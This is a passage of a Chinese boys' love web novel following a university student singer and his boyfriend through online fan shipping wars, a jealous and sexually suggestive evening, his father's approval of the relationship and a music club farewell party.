他现在毕竟已经是百万粉丝的博主了,而且因为长相很有辨识度,所以不仅在网上的热度很高,线下也有粉丝能将他认出来。 昨天他去参加街头挑战赛时,就有他的粉丝在台下,全程录下了他唱歌的视频,把视频原封不动地发到网上。 一直以来,陶真都因为只在网络上唱歌、不像向炎和齐戚他们一样参加线下活动而被不少人诟病,说他是因为唱歌不好听、只能靠修音后期,所以是个“见光死”。但今天的这个视频一出,所有的谣言都不攻自破。 普通的地点,垃圾的设备,糟糕的环境……连个耳返都没有的陶真,演出毫不逊色,视频也在短短的一个晚上冲到了几十万的播放量,还在不停地上涨。 这对陶真而言是个意外之喜,不过他并没有时间过多的关注,因为这两天松懈了转专业的学习,他得赶快将自己的任务补上。 相比之下,倒是祝闻声更加关注这件事,有空的时候还上平台逛了一大圈,给那些夸陶真的视频统统点了赞。 不得不说,网友的眼睛真的是显微镜,CP粉尤其。很早以前就在真摄情超话的老人“专业磕学家”又发力了,眼尖地把在台下等待陶真的祝闻声从视频里圈了出来。 一石惊出千层浪!在发现祝闻声也在现场之后,众人瞬间尖叫了起来,他们一开始还疑惑陶真为什么会选择《我只在乎你》这首许多年前的情歌呢,现在算是终于明白了。 叽叽喳喳的在群里、超话、视频平台里东拼西凑,竟然将陶真和祝闻声两人昨天的完整行程拼了出来,从演出开始,到闹出黑幕,再到陶真把拿到的三千块钱兴奋地塞到祝闻声怀里…… 她们一边相当兴奋、磕生磕死,一边又愤怒地爆破了欺负人的挑战赛主办方,过了好半晌才平复下来,突然意识到了一个新的问题。 【不瘦十斤不改名:是我的记忆出现问题了吗……有没有姐妹告诉我一下,咱们真知棒以前是不是挺有钱来着的?我依稀记得有姐妹扒过,他身上的每一套衣服都是正品名牌,甚至连拍视频的车都是迈巴赫……现在这是什么情况,怎么感觉突然穷了,还要参加街头挑战赛这种又有黑幕又不咋正经的比赛……他以前可是随手发个粉丝红包都要发八万的小少爷啊。】 【醒鼠茶:我靠!我也发现了,还在我主页说了!不仅仅参加这次街头挑战赛,他们之后还去逛了美食街,买了点小摊上的东西吃,最后应该也是坐地铁回去的……怎么回事,这俩人怎么过上本屌丝的生活了?】 【纯情蟑螂火辣辣:震惊!昔日小少爷突然落魄,到底是人性的扭曲还是道德的沦丧……不是,咱们真知棒家里不会出现什么问题了吧?】 祝闻声扫了一眼这些贴子,有些意外于女孩们的敏锐。 不过他知道陶真家里并没出事,所以只是匆匆扫了一眼就准备退出页面,然而下一秒,他却意外瞥到了自己的名字。 【……哎,是啊!还有小真旁边的摄影师也是!小真拿到那三千块第一时间往他手里塞了塞,他竟然也就这么接过去了……这算是什么,贫贱夫妻百事哀?还要老婆赚钱给老公花,这对吗?】 【很显然这不对了。对不起,我有个毛病,哪怕看小说,我都看不了穷攻。赚不到钱的男人毫无魅力!!会Low知道吗!!!】 【那什么……相比起来,你们不觉得前段时间给小真送礼物的那个太子爷很有意思吗?我之前就注意到了,他每次都会在小真直播的时候按时按点地跑来看,而且还会悄悄给他送礼物,切换成“神秘人”的身份送,一方面呢,可以给他撑场子,另一方面呢,不会让小真为难……】 【妈呀,姐妹,咱俩想到一块了!而且我还听他们说,这次的太子爷是真的帅,跟摄影师不分伯仲!但是呢,太子爷有钱,所以在PK中更胜一筹,嘿嘿嘿……】 祝闻声:“……” 他本来其实是不想关注这些言论的,但实在是没忍住,所以又刷新了一遍。这才发现,除了陶真和他的真摄情之外,陶真最近还多了一个新的CP,就是和太子爷的#太真了#。 祝闻声闭了闭眼,还是决定进去扫一圈, 跟之前真摄情大战真博士的画面一样,坚守纯爱官配党的真摄情粉丝们义愤填膺地指责着这些莫名其妙拉郎配的混乱邪□□。可混乱邪□□也不甘示弱,两方竟然就这样轰轰烈烈地吵了起来,规模比之前真博士的那次还要浩大。 真摄情的CP粉嘲笑太真了的粉丝拜金虚荣、看见别人过得好就难受,甘愿为金钱放弃一切,连两个说不定都没见过面的人都能嗑起来,荒谬。 太真了的粉丝则嘲笑他们吃不到葡萄说葡萄酸,是因为自家的CP不好嗑——白富美养穷小子、为爱落魄这种烂俗剧情早已过时,所以才会在这里急得跳脚。 双方的骂战一轮接着一轮,虽说不至于上升到人身攻击的级别,但也足够阴阳怪气。 被彼此都拉黑禁言了一段时间后,她们渐渐冷静下来,在沉默中开启了新一轮的交锋,军备竞赛似的疯狂地为自己家CP炒饭。 真摄情这里不必多说,积累了这么长时间,好歹有些底子,而且也有两人同框的视频画面可以剪辑,一时间圈内热热闹闹,各种剪刀手神仙炫技。 那一头的太真了显然没有这么多东西,唯一能剪的也就是一个直播时候的十五万录屏,所以他们干脆将重点放在了同人图和同人画上——也不知道是为了故意恶心对家CP粉。还是本身他们就好这一口,太真了的话题中最多的永远都是夺人妻。 因为做饭的厨子不同,所以一口夺人妻还有各种各样的风味,包括但不限于古代君臣强取豪夺、现代ABO强行标记、古早霸总包养小白花…… 真摄情家气疯了,偏偏他们想不到什么恶心对家的方法,只能在自己的文里加上太子爷这个恶毒反派。 一不留神,祝闻声光看这些东西就看了几个小时。 陶真从图书馆回来的时候已经将近晚上八点多钟了。 为了赶时间,他只随便对付了两口三明治,这会又困又累又饿,抬头时却发现自己家的那层没有开灯,心中不免有些疑惑,难道祝闻声今天有事暂时还没有回来吗? 等他拿出钥匙叮叮当当地开了门,却在进去的时候发现祝闻声正沉默着坐在沙发上,面前放着刚热完没多久的菜肴。莹白的屏幕模糊了他冷峻的侧脸,看起来有几分出神。 陶真微微一愣,不知道到底发生了什么事情。 顺手摁开了灯,莫名有点忐忑不安地走了过去,慢吞吞地放下了自己的书包,小声问道:“这是……怎么啦?” 祝闻声这才回过神,目光沉沉地望着陶真,沉默几秒才道:“…没什么,先吃饭吧。” 陶真有的时候有些迟钝,有些时候却又有种敏锐的、近乎于小动物的直觉,他能明显地感觉到祝闻声状态似乎有些不太对。 不是那种情绪很差的不对劲,更像是有些……醋味。 陶真张了张嘴,他今天可是一整天都在图书馆跟资料拼命,实在是想不出自己到底哪里红杏出墙了,只好欲言又止,坐下,抱起碗筷吃饭。 饭菜比之前还要美味,大约是祝闻声和江龙学了一些做饭的技巧,手艺又进步了一些。他吃着吃着,很快就把刚刚的谨慎和疑虑抛之脑后,大块朵颐。 吃饱以后,陶真甚至还懒洋洋的、像个大爷一样躺在沙发上,撩起自己长袖的下摆,小猫伸懒腰那样哼哼唧唧:“好撑呀……” 祝闻声正在收拾碗筷,闻言望去,就看见金发少年整个人窝成一小团蜷在沙发里。腰肢依然纤细白皙,小腹往上的部分却微微圆溜了一些。 回忆起之前陶真吃饱以后让他摸一块腹肌的场面,祝闻声喉结忍不住滚了滚。他倒是觉得这不像是一块腹肌,反而像是…… 脑海中短暂而迅速地闪过了那两个字,某些阴暗至极的念头随之滋生,祝闻声最终还是没有说出来,把手头的活全部都干完,才走到沙发边,慢吞吞地俯身靠过去。 少年吃饱了就犯困,这会正微微地眯起了眼,小脑袋一点一点。他今天早上七点钟就出门,晚上八点才回来,在外面要学将近十二个小时,实在是累的够呛。 可是看见他过来了,还是努力地睁大了双眼,伸手搂住了他的后颈,迷迷糊糊地蹭过去冲他笑了笑,甜甜道:“……跟我讲一下今天为什么不开心好不好?” 祝闻声微微一振,没想到陶真竟然观察的这么仔细,连这么点细枝末节的情绪都发现了,但他犹豫了一会儿,还是道:“不是生气,没有不开心,我只是……” 陶真掀起眼睫,声音微哑地“唔”了一声,静静地等待着他的下文。 祝闻声却沉默了,盯着少年看了几秒,干脆地低下头,将他单手、抱小宝宝一样的姿势抱了起来。 粗力的大掌划过他柔软白皙的肚皮,在那里留下了一串近乎颤栗的酥麻。陶真的后颈整个都麻了,下意识地蜷缩身子,往后挪,可却被祝闻声挡住了去路。 这种感觉实在是太奇怪了,好像整个人都被祝闻声掌控在怀里似的……陶真想的出神,不仅耳朵有些红,就连脸颊也滚烫起来,下意识地想到了一些少儿不宜的东西。 他略微有些害羞,但还是闭上眼睛、鼓起勇气,想要凑过去亲一亲祝闻声、和他完成上次没有做完的事情。 可是下一秒,刚刚还主动将他抱起来的男人却避开了他主动的吻,莹白的灯光下,俊美的侧脸朦胧勾人,一双幽深的眸里倒映着一个小小的少年。 “如果,”祝闻声的呼吸轻轻的,带着点灼热的气息,一点点地喷洒在少年侧颈,“非要你选一个的话。” “你是喜欢穷小子,还是有钱的‘太子爷’?” 陶真的大脑有些宕机。 半晌,他才有些支支吾吾地说:“我…这、这要怎么选?这明明都是你呀,我不能都喜欢吗……” “不能都是我,”祝闻声却仿佛执着着想要一个答案似的,语气有些危险,“你到底喜欢谁?” 陶真说不出话,脸憋得有些红,周遭的气氛陡然变得暧昧了起来。 尽管语气是带着些拷问的,可祝闻声的动作却十分温柔,大掌一点点地从少年的小腹开始往下,温柔迟缓。 少年知道他要做什么,回想起上次那种刺激到头皮发麻的感觉,像一只虾米一样蜷缩起了身子,立刻求饶:“不不、不要……” 祝闻声慢条斯理地抬起眸,牢牢地盯着陶真:“嗯,你在对谁说不要?” 陶真辩不过祝闻声,彻底放弃了,他真的不知道祝闻声到底是从哪里看来的这些东西,或是今天到底是吃错了什么药,一定要自己跟自己醋上这么一回。 他只能任由自己的感官在祝闻声的手下、口中浮沉,欢愉和痛苦的感觉此起彼伏。在濒临顶点之前,他甚至还听见祝闻声低声问: ——你到底喜欢谁比较多一些? ——一开始,是因为我穷,所以才愿意和我在一起的吗? ——如果那一天太子爷想和你在一起。你会同意吗? …… 说实话,这些问题,现在的陶真一个都回答不上来。 他支支吾吾地想蒙混过关,祝闻声嘴上也没有再穷追不舍,只是手上的动作渐渐地有些凶了起来,大掌在他单薄的小腹上停留半晌。勾勒出了上次顶到的地方,低声说了一句:“宝宝好浪。” “两个人都喜欢,脚踏两条船。” 陶真整个人都僵住了,眼尾情不自禁地溢出了眼泪,因羞耻而闭上了眼,眼前一片空白。 片刻后,他缓了过来,控诉着看向了祝闻声,祝闻声的神色却一切如常。甚至还有闲心低下头替他清理,顺便舔走了手指上剩余的、他的东西。 陶真整个人都要不好了。 他委屈巴巴地想要为自己辩解两句:“我才没有那么浪……你不可以说我浪,你要说我乖,是你坏!” 祝闻声呼吸也渐渐的有些乱了,他没有看起来那么轻松,片刻后才“嗯”了一声,深吸了一口气:“是我坏。” 最初的羞耻过去之后,陶真慢慢地冷静了下来,他知道情侣之间这样的情况是再正常不过的,所以并没有真正地跟祝闻声生气。 能够明显感觉到小祝闻声也有反应之后,他忍不住渐渐红了脸,小声说:“好吧,那你这个……” 不用陶真提醒,祝闻声自己显然也意识到了,他还没来得及说,就感觉到陶真凑过来,不得章法地帮了他一会。 这种行为无异于隔靴搔痒,不仅没有将那份火气压下去,反而激发地更加旺盛了,偏偏少年自己一无所知,自我感觉还挺良好。 祝闻声忍耐着,忍不住想,现在已经是晚上十点,陶真明天早上六点多就又要起来去图书馆自习…… “没关系,”他到底还是拦住了陶真,哑声说,“我先去趟卫生间。” 说罢,他就起身匆匆走了。 陶真有些呆住了,衣裳有些凌乱,目送着他离开。 ……上次也是这样。 两个人到现在,也仅仅只做过一次而已。 难道祝闻声,是真的“不行”了? 60 ? 第 60 章 ◎他倒是想看看,这次有没有人,敢当着他的面勾引陶真。◎ 陶真没忍住胡思乱想了一阵子, 甚至还上网搜了一下别人的男朋友有没有这样的情况,不过搜到的结果都说像他男朋友这样的情况很少见。明明身体有反应,但是不愿意进行亲密的举动, 感觉比起大众意义上的不行,祝闻声更像是喜欢柏拉图式的爱情。 也就是说, 比起追求□□上面的刺激,更加追求精神方面的共鸣。 虽然说欲望是人类的本能,但并不是所有人都会屈服于欲望、变成欲望的奴隶, 像祝闻声这种明明已经有感觉、有反应了,但是坚持自我的人很少见。 不过, 柏拉图式的爱情也不是完全会和性切割开,或许到一定程度时,祝闻声会愿意跟他进行这样亲密的行为。 ——比如说,二月二十九号, 祝闻声过生日那一次。 陶真渐渐地明白了, 可是心里比刚刚还要悲怆和凄凉。 别人谈恋爱, 做//爱是四天一次。 他和祝闻声谈恋爱,做//爱是四年一次。 他比所有人都盼望闰年的到来, 就跟以前在穿越剧里蹲守七星连珠的女主角一样。 只不过人家女主角苦守七星连珠是为了回家,他守闰年是为了跟祝闻声做//爱, 说出来有点像是某种神秘的仪式。 不知过了多久,等祝闻声从卫生间里出来的时候,就发现陶真自己不知道脑补了些什么,站在原地像是一条被抽干了水分的咸鱼,眉宇间还有几分难以言述的情绪:“阿声, 你洗完了吧?你洗完了, 那我就过去了。” 祝闻声张了张唇:“……” 他的眉心在突突乱跳, 总有些隐隐的、不妙的预感,但是又说不出为什么来,只能目送着陶真拖着步子走进了浴室,一脸严肃地开始洗澡,心头那些旖旎的心思彻底散了个干净- 这次街头挑战赛的视频发到网上热度很高,不仅仅只有陶真的粉丝们因为到底要磕哪对CP而吵架,更多的还是吸引了一批想要关注他本人的观众。 陶真本身的形象就好,而且唱歌水平也特别高,仅仅几天而已,粉丝就直接怒涨了一大波。 这个视频自然也在网上被疯传,就连平常不怎么关注这些娱乐八卦的陶大俊都刷到了。 不过,在第一次看见这个视频时,他甚至以为这是网友恶搞出来的、P图的,第一时间就否认了这个视频的真实性。 他相信自己比任何人都了解自己的儿子,艺考失败以后,陶真就难以在旁人面前唱歌,即使在自己跟前也唱得磕磕巴巴的,他怎么可能会去参加这种街头挑战赛?这可是要在上百号人的面前演出啊!他疯了吗? 可是,这种怀疑否定的心情在看见视频开始之后渐渐地凝固,取而代之的是巨大的震惊。 也许陶真是真的“疯了”。 明明知道这个街头挑战赛可能有黑幕存在,即使上场唱得再好也是一定会输的,就像他前面的七位选手一样。可是他却依然站到了最后,毅然决然地选择了参加比赛。 哪怕设备再差,也掩盖不了他本身的优秀,他的姿态落落大方,他的歌声悠扬婉转,不然视频也不会这么火。 陶大俊看完一遍视频,又看了一遍,心中的情绪有些复杂。 有些自以为是了解陶真、却反被打了脸的羞耻,更多的还是因为看见陶真在台上熠熠生辉的欣喜。 他知道陶真比所有人都在乎音乐。 小时候的陶真,才刚刚牙牙学语的年纪,就像是根小尾巴缀在林曼妙的身后,目不转睛地盯着她开嗓、练习、唱歌,好像要将她所有的动作都刻画进脑海里。 热爱就是最强大的天赋,所以陶大俊和林曼妙两人也猜,陶真之后或许也会走上音乐这条道路。可是他们谁也没有想到,陶真的“水平不佳”,光有热爱不够,最终还是在艺考这一道关卡上栽了跟头。 之后,陶真有一段时间都相当消沉,陶大俊甚至都怀疑他是不是放弃了音乐这件事情,有好一段时间都不敢在他面前提。 可是现在,陶大俊发现自己错了。他只是自以为是、一厢情愿地给陶真下了定义,认为他如果想要在音乐方面取得成功,就一定要和林曼妙一模一样,走她的道路…… 可实际上不是的。 陶真有他自己的路。 自己调整消化了一晚上,清晨六点,陶大俊就给陶真打了个电话。 那头的少年迷迷糊糊地醒了,过了片刻才接——最近这段时间,只要一接到陶大俊的电话,他就能听见陶大俊疯狂地催促他赶快跟祝闻声分手、不要再耽误人家。 所以他几乎形成了一种条件反射,一听到陶大俊的电话铃声,就有些应激地说:“喂?爸,我知道了。关于我跟阿声分手的这个事情,我……” “我还什么都没说的,你就知道了?”陶大俊的语气有些微复杂,片刻后才说,“阿声在你身边吗,把电话给他。” 陶真动作一僵,感觉陶大俊活像是在背后装了个眼睛似的,下意识地扭头看了一眼身旁的祝闻声,不知道到底要不要把电话交出去。 虽然他们两个人已经说开了,应该不会因为这件事情而分手,但是他心里始终有些担忧:“爸……” “快点。” 陶真鼓着一场小脸还在犹豫,反而是一旁的祝闻声直接从他的手里把手机抽了过去,冲他做了个“我来就好”的口型,掀开被子下床: “喂,叔叔您好……” 这两个人出去说悄悄话了,陶真反而成为了被排除在外的那一个。他心中有些忐忑不安,等祝闻声拿着手机回来之后,立刻急切地扑了过去,挂在他身上,将他全身上下都打量了一遍,然后才连声问:“怎么了?怎么啦!” 祝闻声一时间没说话。 他伸手轻轻地摸了摸陶真蓬松的金发,柔软,顺滑,简直是丝绸般的质地。 “没什么,”祝闻声片刻后才道,“把你的银行卡打开看一眼。” 陶真心中急切得很,不明所以地照做,打开银行余额时才发现,原本因为冻结变灰的字符这会儿都已经亮了起来,可以重新正常的使用了。 除此之外,卡面的余额还哗啦啦地涨了起来。除了从前他攒的零花钱、自己这段时间直播视频的收益之外,还有陶大俊打来的一笔巨款。 失而复得的感觉相当惊喜,陶真忍不住“唰”地一下抬头看向了祝闻声,心中涌现出一个大胆的猜测:“这是……” 祝闻声平静温和地注视着他,肯定了他:“嗯,叔叔说,他已经同意我们在一起了。” 陶真没有放弃音乐,还在坚持自己的梦想,虽然动作很慢,但正在一步一步的向自己的未来走去。 而他的未来里,显然留了一个属于祝闻声的位置,把身上仅有的、刚得到的三千块钱塞给祝闻声,两人并肩,吃不了米其林餐厅也没关系,他们还可以吃路边小摊…… 既然两个孩子都已经约定好了要和彼此在一起,陶大俊想,他作为长辈,又有什么插手的权利呢? “……真的?”陶真仍然沉浸在巨大的惊喜中,还没有完全回过神来,略微有些不知所措,“爸真的同意了?” “嗯。” 陶真忍不住欢呼起来,几乎有一点想哭的冲动。 虽然已经决定好无论如何也要跟祝闻声走下去了,可是能够得到家人认可当然是最好不过的,他有着一个永远支持自己的后盾。 没了后顾之忧,接下来的一段时间,他连学习转专业的知识都变得更加认真,简直干劲十足。 他们学校有规定,转专业的考试统一安排在学期结束,放在期末周之后,所以现在这段时间他要准备的东西特别多,每天回来都累的不行,自然而然地减少了跟祝闻声接触的频率。 尤其是在知道祝闻声其实是柏拉图式恋爱的推崇者之后,陶真更加清楚两人之间的界限,他们明明已经是最亲密不过的对象,可是躺在床上却纯洁得像是两个陌生的舍友。 天气渐渐地热了起来,五六月份的时候陶真不喜欢再在家里穿厚重的睡衣,可翻箱倒柜地找了一阵,却没找到自己去年买的夏款睡衣。 他现在每天都忙的不可开交,就连在网上买东西去线下逛专柜的兴趣都消失了,刚好在柜子里看见了一件足够遮住屁股的衬衫,也顾不上这衣服到底是谁的,直接抽了出来穿上。 于是,等祝闻声回家时,看见的便是这么一副场面。 刚刚洗完澡没多久、连头发都有些湿漉漉的少年穿着他的衬衫,宽宽松松地罩着单薄纤细的身体。撅着圆润的小屁.股趴在大床中央,正一脸严肃认真地盯着电脑上的资料。 两条纤细白皙的腿翘得高高的,粉嫩的足尖在空中一晃一晃,腿根那一点软乎乎的肉像是奶油一样融化在被子的阴影里。 祝闻声的呼吸一滞。 自从知道陶真开始准备很重要的转专业考试、不能被其他事情分心影响之后,他就一直极力地克制自己的欲望。尽量不让自己打扰到陶真,不让陶真厌恶这种行为。 但是这件事情对一个血气方刚的青年来说实在是有些难度,尤其是每次陶真在他面前都毫无顾忌,毫无遮掩。他每次都得忍了又忍,最后自己解决。 谈恋爱这么久了,到现在也仅仅只完完整整地做过一次,到现在已经快两三个月了。 不过,明天是周末。 如果陶真愿意的话,他们或许可以…… 想到这儿,祝闻声的喉结滚了滚,走到了床边,俯身靠到少年的耳畔,略微有些灼热的呼吸洒在他颈间:“……学得怎么样了?” 陶真还沉浸在一条没搞懂的题目解析中,闻言“唔”了一声,皱了皱眉头:“还行吧,就是这一块……” 话音未落,陶真忽然感觉到自己的身侧靠上来了一条精壮的手臂,灼热滚烫。身后也覆上了结实的身子。青年俊美的侧脸与他的距离几乎只剩下了短短的几公分。 他原本流畅的思绪突然打了个结,声音变得有些磕磕巴巴的:“我、我不知道要怎么把这个计算公式代进去…” “嗯。” 学科与学科之间是相通的,何况祝闻声之前也学过类似的题目,所以对这方面有所了解,他接过陶真的电脑简单地扫了几眼,靠他更近了一些:“这条题目是这样……” 青年的模样是带着几分凌厉和淡漠的俊美,一旦柔和下来,就会令人不由自主地目眩神迷。 陶真一开始还在认认真真地听着他说题目,渐渐地注意到了他微微掀起的浓黑睫羽,高挺流畅的鼻梁,一张一合的浅淡薄唇…… 陶真不自觉地咽了下口水。 祝闻声讲题的动作也停了,他盯着陶真看了几秒,忽然微微地勾起了唇角,慢条斯理地说:“……然后呢?应该怎么解?” 陶真根本没听得下去,像个被抓包的小孩子一样偏过了头,有些懊恼。 祝闻声又意有所指地轻轻道:“真宝?” 脸蛋渐渐涨红,陶真瓮声瓮气地说:“我、我不知道……” 他是真的不知道,刚刚光顾着看祝闻声的脸了。明明知道祝闻声崇尚柏拉图,根本不会主动发展那什么的关系,但刚刚那会儿他实在是觉得自己像是被祝闻声……勾引了。 不对不对,这怎么可能呢! 肯定是自己的错觉。陶真猛地拍了拍脸,咬住了下唇,让自己把这些杂七杂八的念头从脑海中排除出去,深呼吸了一口气:“对不起,我刚刚没有认真听,现在一定好好学。” “……” 祝闻声原本已经把鼠标放下了,这会又把手重新抬了起来,故作镇定地继续给陶真讲题目。 这条讲完之后,陶真已经完全从刚刚神思不属的状态中恢复了过来,颇为兴奋期待地指着下面一条题目,用乌溜溜、亮晶晶的星星眼看着他:“阿声!你怎么这么厉害呀!什么都会!你能不能再帮我看一下这一条?这一条我也不会……” 祝闻声慢慢地吐出了一口气:“嗯,好。” 事情似乎变得有些不对劲起来了,两人明明几乎抱在一块儿,可是谈论的全都是一些乱七八糟的问题。 正在陶真全心全意地在知识的海洋里遨游时,他身后的祝闻声忽然起身离开了,语气平静地说自己要去一趟卫生间。 陶真没太在意,只唔了一声示意自己知道了,就继续埋头苦学。 不过片刻后,他意识到自己下午的时候实在是喝了太多水,也有些想去厕所,干脆站起身,抱着手里的资料急匆匆地跑过去敲门:“阿声,你好了嘛?” 只是上个厕所而已,按道理来说应该很快的,可是祝闻声却迟迟没有出来。陶真发现卫生间的门紧紧关着,甚至还从里面传来了淅淅沥沥的水声。 还没吃晚饭呢,祝闻声怎么在洗澡? 尤其是在里面没有应答的情况下,陶真感觉有些奇怪,没忍住又拍了拍门:“阿声!你没事吧?” 这次祝闻声才终于出了声,青年的语气听起来有些许的隐忍和压抑,音色沙哑:“……宝宝。” “嗯!在呢!” “宝宝……再喊我一声。” 咦,这是什么奇怪的要求? 陶真虽然不太明白,但还是乖乖巧巧地照做了。他在门外抓着资料百无聊赖地等待了半晌,只感觉自己越来越急。就在他快要憋不住的时候,祝闻声终于结束出来了。 青年上半身光裸着,下半身只围着一条洁白的浴巾,胸膛有些起伏。他似乎是想要和陶真说些什么的,可是陶真直接闯进了卫生间,急匆匆地说:“我用一下!” 祝闻声只好闭上了嘴。 周末晚上到底还是泡汤了,不过好说歹说,祝闻声终于看见了希望的曙光。 进入六月份,南城大学渐渐地将期末考试提上了日程。不少水课都已经提前考过试,大家都只剩下了专业课的检验。 因为陶真他们班上有一些人已经准备好了提前出国,他们也为这次的期末考试做好了充足的准备,所以想要考到年级30%并不是一件特别轻松的事,更何况陶真比他们还要多一件事。 他好不容易才把专业课终于考完,还没来得及休息多久,就马不停蹄地准备转专业的考核。 大概是因为之前在街头挑战赛在这种地方表演过,有了一次经验之后,这次在一个老师们的监考下,他并没有像从前那样磕磕巴巴到什么话都说不出来,反而流畅惊艳地唱出了一整首曲子。 不说一点点的小错误都没有,但绝对是瑕不掩瑜。不仅老师露出了赞许的目光,他出来之后,考场外的柳娴和白宇轩也对他竖起了一个大拇指,激动道:“太牛了!你这肯定没问题!” 完成了一件多年的夙愿,陶真自己心里其实还是有些感慨的。 他率先谢过了两人,之后他才突然意识到不对劲:“……诶,等一会,白部长柳部长,你们两个怎么会在这里?” 白宇轩和柳娴对视了一眼,俱忍不住笑了:“这不是期末考试结束了么,我们马上也要大四了,没有空再管社团内部的事情,所以是准备去办公室搞一下社团交付流程的,没想到经过这里的时候刚好看见你在,这才停了一会儿。” 时间竟然过得这么快,一眨眼的功夫,两个学期就要过去了,白宇轩和柳娴竟然都要离开社团了。 陶真微微一愣,莫名有些感慨;白宇轩和柳娴两位当事人自然是感触最深的,离开了一个陪伴自己三年之久的社团,说什么感觉都没有是不可能的。 不过他们还是努力打起了精神,冲陶真笑了笑:“哎呀,不说那些伤感的话题了,我们打算举办最后一次社团聚会,不知道你有没有空参加?” 若是之前几天忙着上课考试的时候,陶真肯定是没空的,但现在这些事情已经结束了,他欣然同意。 又跟白宇轩和柳娴两个人争了一会到底谁请客,最终他还是败下阵来,跟他们约定好见面的时间和地点,便赶快回家把身上背的书包放了下来,长长地呼出了一口气。 终于卸下了压在身上、心上的沉重包袱,心情是前所未有的轻松,陶真打开了自己许久都没仔细看过的衣柜,一时间竟然觉得有些陌生,简直挑花了眼,左看看右看看,都不知道该选什么好。 刚好这会儿听到大门响,知道是祝闻声回来了,他顿时跟遇见救星一般拿着两件衣服在身上比了起来,让祝闻声替他选一选到底哪一件好。 后者上前两步,仔仔细细地端详起来。 陶真手里的两件衣服各有千秋,共同点是都很衬他的肤色、很符合他小少爷的身份,都很好看。 即使是祝闻声也有些选择困难,他想了半晌,最终还是指向了第二件:“这个吧。” 陶真兴高采烈地应了一声,把那件衣服展开。 他像是只小花蝴蝶一样转了一圈,高高兴兴地将这件像小王子衣服的衬衫套上身:“好呀好呀!我相信你的眼光!” 祝闻声眉目柔和地嗯了一声。 说起来,陶真的考试已经结束了,他这样突然开始选衣服,也许是想跟自己一块出去吃饭。 祝闻声心中一动,刚想自己也去衣柜里搭配适合的一套,下一刻便听见陶真叽叽喳喳道:“这件衣服肯定挺上镜的,刚刚白宇轩他们还说让我穿好看一点呢,因为最后可能要拍一张大合照——” 心里仿佛突然被打翻了一罐碳酸饮料,咕嘟咕嘟地冒着刺刺的小气泡,祝闻声的动作微微一顿,忽然道:“你要出去?” 他幽沉的眸紧紧落在陶真身上,继续追问:“白宇轩?他们?一起拍什么合照?” 若是陶真有经验,便知道这一叠声的追问多像是一个妒夫,但他只是恍然大悟般回过神,后知后觉地拍了下脑袋: “哎呀,我忘了跟你说了,白宇轩和柳娴要退部了,要举办最后一次音乐社的社团聚餐,今天刚好在教室那边碰到他们,他们邀请我一起去参加的。” 音乐社团…… 回想起上一次陶真参加音乐社之后的场景,祝闻声片刻之后才语气平静地“嗯”了一声,语出惊人:“能带家属吗?” 他一字一句道:“我也想去。” 他倒是想看看,这次有没有人,敢当着他的面勾引陶真。 60-68 61 ? 第 61 章 ◎“宝宝,你买的那个,尺码太小了。”◎ ——“我也想去”? 陶真震惊了片刻, 都怀疑是自己听错了,忍不住重复了一遍:“阿声,你、你确定吗?” 金发少年乌溜溜的眼睛瞪大, 写满了十足的惊讶和疑惑,祝闻声垂落在身侧的手渐渐抬起, 不轻不重地捏了一下他软乎乎的脸颊,淡淡地反问道:“你不想让我去吗?” “不,不是!” 陶真赶忙否认, 祝闻声愿意和他一块儿去参加聚餐,他当然是高兴的, 只不过在他的印象里,祝闻声从来不是会主动要求参加这种聚会的人,所以一时间有些意外,这会已经回过神来:“你等我, 我去问问他们, 如果他们不同意带家属的话, 我也就不去了。” 祝闻声“嗯”了一声,脸色一如既往的平静, 可陶真却莫名觉得他的心情好了几分。 陶真忍不住松了口气,换完衣服便立刻给白宇轩他们打了个电话。见那头的人欣然同意, 他们收拾一会儿以后便也出发了,到聚会地点时不早不晚,跟在现场的人打了个招呼,彼此熟络了一番后,刚好所有人都已经到齐。 今天来的人都很好相处, 没有李杰那种货色。大家首先给宴会的两个主角以及其他即将离开的成员敬了酒, 之后才各自分散开来喝了几杯。 毕竟都还是学生身份, 喝的酒也只是低度数的鸡尾酒和酷似饮料的可乐桶,度数算不上高。 像陶真这种酒量大的就算是抱着桶喝也不会有什么事,可祝闻声就不行了,所以在又有一人向他们敬酒时,陶真偷偷地踮起脚,替他接过来喝完了: “你可不要跟他们逞强,喝醉了的感觉可难受了。” “人有的时候欺软怕硬,玩嗨了以后就会逮着酒量不好的人灌,你喝不过来就交给我,知道吗……” 陶真漂亮的小脸上满是心疼和担忧,祝闻声面上没什么表情,可手指却覆上了他的腰,将人向自己的怀里拉了拉,低声说:“嗯,知道了。” 于是接下来的一段时间,两人几乎紧紧地贴在一块儿,关系昭然若揭。原本蠢蠢欲动、对陶真或者祝闻声感兴趣,想要与他们搭讪的人大多退缩了下来,只剩下了友情性质的敬酒。 酒过三巡,场上的气氛渐渐活跃,单纯的喝酒变得无聊了起来,不知是谁从包里掏出了一副真心话大冒险的卡牌,提议大家可以一起玩游戏,顿时一呼百应。 自从开始准备转专业的考试,陶真也许久没有参与过社交活动了,闻言也有些兴奋地拉着祝闻声一块儿和大家围成一个圈坐下。 真心话大冒险的规则一向很简单,他们拿来一个喝空的酒瓶放在桌子的最中间,每轮游戏开始时就转一圈儿,瓶口对上谁,谁就必须抽一张桌上的卡牌,并说出相应真心话或者做出大冒险的动作。 第一轮指到的人恰好是白宇轩,大冒险要求他打开通话记录,给第一个联系人来一段深情表白。结果没想到他的第一个联系人刚好是问他暑假什么时候回来吃饭的舅舅,听见他的表白以后大惊失色地“咦”了一声,问他是不是上学上疯了,惹得众人笑得喘不上气来。 接下来的几轮,众人的遭遇也和他差不多,有的真心话要求他们说出自己最难以启齿的怪癖,有的大冒险则要求他们做一些羞耻得要命的糗事。 由于人太多了,被抽到的概率并不是那么大,所以陶真一直都保持着“看好戏”的状态。 直到这次瓶口对准了柳娴,大冒险要求她和左侧的第三人“深情”对视十秒,而她左侧的第三人,恰好是陶真。 在场的众人都发出了一声看好戏般的“哦”声,纷纷抬头看向两人。 柳娴也微微一怔,抬眸看见陶真和他身侧的祝闻声,下意识地便要拿起桌上的酒自罚三杯,将这个大冒险跳过去。 反倒是陶真心里有些过意不去,在她抬杯时主动伸手拦住了她:“姐,只是对视十秒而已,这又没什么,不然你就别喝了吧?” 柳娴顿住,澄澈的酒液从杯中溅起,她下意识地看向陶真:“那我……” 金发少年漂亮的小脸上满是诚恳,以及对她的担忧和照顾,柳娴有一瞬间的心动,可下一秒视线便越过了他,落到了他身侧那面容冷峻、神态平静的男人身上。 